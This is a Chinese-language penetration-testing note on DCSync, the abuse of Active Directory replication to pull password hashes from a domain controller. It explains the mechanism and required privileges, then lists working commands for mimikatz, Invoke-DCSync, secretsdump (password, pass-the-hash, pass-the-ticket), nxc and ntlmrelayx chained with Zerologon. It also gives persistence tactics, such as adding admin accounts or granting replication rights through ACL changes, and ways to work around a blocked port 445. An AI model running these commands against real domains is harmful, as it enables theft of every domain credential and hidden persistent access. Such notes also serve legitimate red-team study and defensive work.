DCSync

1. 原理

什么是Dcsync(domain Controller synchronization):在内网中一般不是一个域控,会有域树或者域森林等,域控之间是要同步数据的,不同的域控15分钟之间要发起一次数据同步的请求,请求里面就包含同步的数据,这里采用的协议是DRS(目录复制服务),这个就是DCsync

简单来说就是 利用DRS(Directory Replication Service)协议通过IDL_DRSGetNCChanges从域控制器复制用户凭据
Pasted image 20250214124857

DCSync 并不是简单的 ntds.dit 文件拷贝和解析操作,而是一个通过 RPC 请求传输到 DRSUAPI(目录复制服务 API)的操作,用于复制数据(包括凭证)从域控制器

2. 利用条件

要进行DCSync则必须要能够运行DRS服务,通常以下用户组可以运行DRS服务

  • Administrators组内的用户
  • Domain Admins组内的用户
  • Enterprise Admins组内的用户
  • 域控制器的计算机帐户
    • 域控的Administrator和system也可以
    • 更具体地说,DCSync是需要以下扩展权限: DS-Replication-Get-ChangesDS-Replication-Get-Changes-All,而以上组内的成员默认有这些权限

3. 利用方式

Warning
  • Impacketsecretsdump 在执行 DCSync 之前依赖于 SMB(因此在使用 Kerberos 票据时需要 CIFS/domaincontroller SPN
  • mimikatz 在执行 DCSync 之前依赖于 LDAP(因此在使用 Kerberos 票据时需要 LDAP/domaincontroller SPN

3.1. 直接读取域内用户的hash值

mimikatz 读取域内用户hash值

lsadump::dcsync /domain:abc.com /all /csv(读取所有)
lsadump::dcsync /domain:abc.com /user:administrator(读取单个用户)

Invoke-DCSync.ps1工具

import-Module .\Invoke-DCSync.ps1
Invoke-DCSync
Invoke-DCSync -DumpForest | ft -wrap -autosize #导出域内所有用户的hash:

3.2. 读取NTDS文件的hash值

QuarksPwDump工具读取

QuarksPwDump.exe --dump-hash-domain --ntds-file ntds.dit

Ntds这个文件必须先要导出到本地

secretsdump 工具读取

secretsdump.exe 域名/administrator:密码@IP 
# using a plaintext password
secretsdump -outputfile 'something' 'DOMAIN'/'USER':'PASSWORD'@'DOMAINCONTROLLER'

# with Pass-the-Hash
secretsdump -outputfile 'something' -hashes 'LMhash':'NThash' 'DOMAIN'/'USER'@'DOMAINCONTROLLER'

# with Pass-the-Ticket
secretsdump -k -outputfile 'something' 'DOMAIN'/'USER'@'DOMAINCONTROLLER'

导出后会创建以下文件

File  文件 Content  内容
.ntds LM and NT password hashes
LM 和 NT 密码散列
.cleartext Passwords stored using reversible encryption
使用可逆加密存储的密码
.kerberos  kerberos 配置文件 Kerberos keys (DES, AES128 and AES256)
Kerberos 密钥(DES、AES128 和 AES256)
.sam Domain controller's SAM secrets
域控制器的 SAM 密钥
.secrets Domain controller's LSA secrets
域控制器的 LSA 机密

nxc 读取

nxc smb 192.168.1.100 -u UserName -p 'PASSWORDHERE' --ntds
nxc smb 192.168.1.100 -u UserName -p 'PASSWORDHERE' -M ntdsutil

3.3. 搭配NTLM relay

此攻击也可以通过中继 NTLM 身份验证进行操作,但前提是目标域控制器存在 ../6-Netlogon/Zerologon 漏洞,因为 DRSUAPI 始终需要签名。

# target vulnerable to Zerologon, dump DC's secrets only
ntlmrelayx.py -t dcsync://'DOMAINCONTROLLER'

# target vulnerable to Zerologon, dump Domain's secrets
ntlmrelayx.py -t dcsync://'DOMAINCONTROLLER' -auth-smb 'DOMAIN'/'LOW_PRIV_USER':'PASSWORD'

如果目标域控存在 Zerologon 漏洞,攻击者可以先利用该漏洞重置域控账户密码,然后伪造域控身份,此时 DRSUAPI 的签名要求就能被绕过,NTLM中继Relay重放攻击 也就能实现 DCSync(感觉有点多此一举了)

4. 利用思路

1、找到有权限的用户,从而远程读取域控用户信息,可以进行3.PTH 黄金白银票据攻击
2、如果控制了域控,可以在域控添加一个管理员账号从而进行权限维持
3、可以添加一个普通的用户,修改ACL从而实现可以使用Dcsync,进行权限维持

5. 实战中可能会遇到的问题

5.1. 445端口被禁用如何DCSync

先说结论:

  • DCSync 协议本身不依赖 445 端口,但某些工具实现(如 secretsdump.py)会用到 445 端口。
  • 如果用 mimikatz 等工具,445 端口不是必须的,只要 RPC/LDAP 相关端口开放即可。

方法

  • 445 端口被禁用时,DCSync 依然可以通过 RPC 端口(135+高位端口)实现,推荐使用 Mimikatz。只要 RPC 通信不被阻断,DCSync 就能成功。